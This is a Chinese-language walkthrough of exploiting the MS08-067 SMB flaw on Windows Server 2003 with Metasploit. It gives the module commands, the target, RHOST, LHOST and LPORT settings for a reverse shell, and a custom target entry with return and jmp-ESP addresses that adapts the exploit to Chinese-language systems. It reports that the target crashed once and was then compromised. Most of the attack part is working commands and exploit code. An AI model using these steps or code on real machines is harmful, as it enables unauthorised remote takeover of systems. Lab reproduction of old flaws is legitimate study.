漏洞编号:MS08-067

披露日期: 2008/10/22

受影响的操作系统:Windows 2000;XP;Server 2003;Server 2008;

 

目标系统 Microsoft(R) Windows(R) Server 2003, Enterprise Edition

使用工具metasploit 搜索漏洞库

search ms08_067

use 载入漏洞

 通过“show options"可以查看所需要的设置；

yes 都是可填的

使用" show targets"可以查看渗透攻击模块可以成功攻击的平台；

我们这里可以看到 有 windos 2003 sp1，sp2 ，xp，2000 更具系统选择利用的payload

即 设置”set target 34"

  设置攻击目标“set RHOST 目标ip地址”

  设置回传端口"set LPORT 5000"

  设置主机ip" set LHOST 主机ip“

运行exploit就可以看到成果了 等待反弹shell 但是这里遇到一个问题我的windows server 2003系统是中文的 不是英文的所以需要对ms08_067_netapi_ser2003_zh.rb   

进行修改 重新打开终端  然后切换到已下目录：/usr/share/metasploit-framework/modules/exploits/windows/smb

在ms08_067_netapi_ser2003_zh.rb中增加以下代码，修改是4个指针地址

 ['Windows 2003 SP2 Chinese (NX)',

           {

             'RetDec'    => 0x7c99beb8,  # dec ESI, ret @NTDLL.DLL (0x4EC3)

             'RetPop'    => 0x7cb5e84e,  # push ESI, pop EBP, ret @SHELL32.DLL(0x565DC3)

             'JmpESP'    => 0x7c99a01b,  # jmp ESP @NTDLL.DLL(0xFFE4)

             'DisableNX' => 0x7c96f517,  # NX disable @NTDLL.DLL

             'Scratch'   => 0x00020408,

           }

          ],

输入

vim ms08_067_netapi_ser2003_zh.rb

：set number 

输入 /Windows 2003 SP2

这里我们帮他构建一个   652 -659行复制   输入  10y   回车 

在p  复制到你想要的地方

在退出 exit   输入 msfconsole    

从新复现上面的步骤  search targets    可以看到我们刚刚添加的中文利用版本

  

重复上面的步骤 发现

让 目标重启  应该目标机已经崩溃 

尝试重启目标主机，执行相同操作，攻击成功。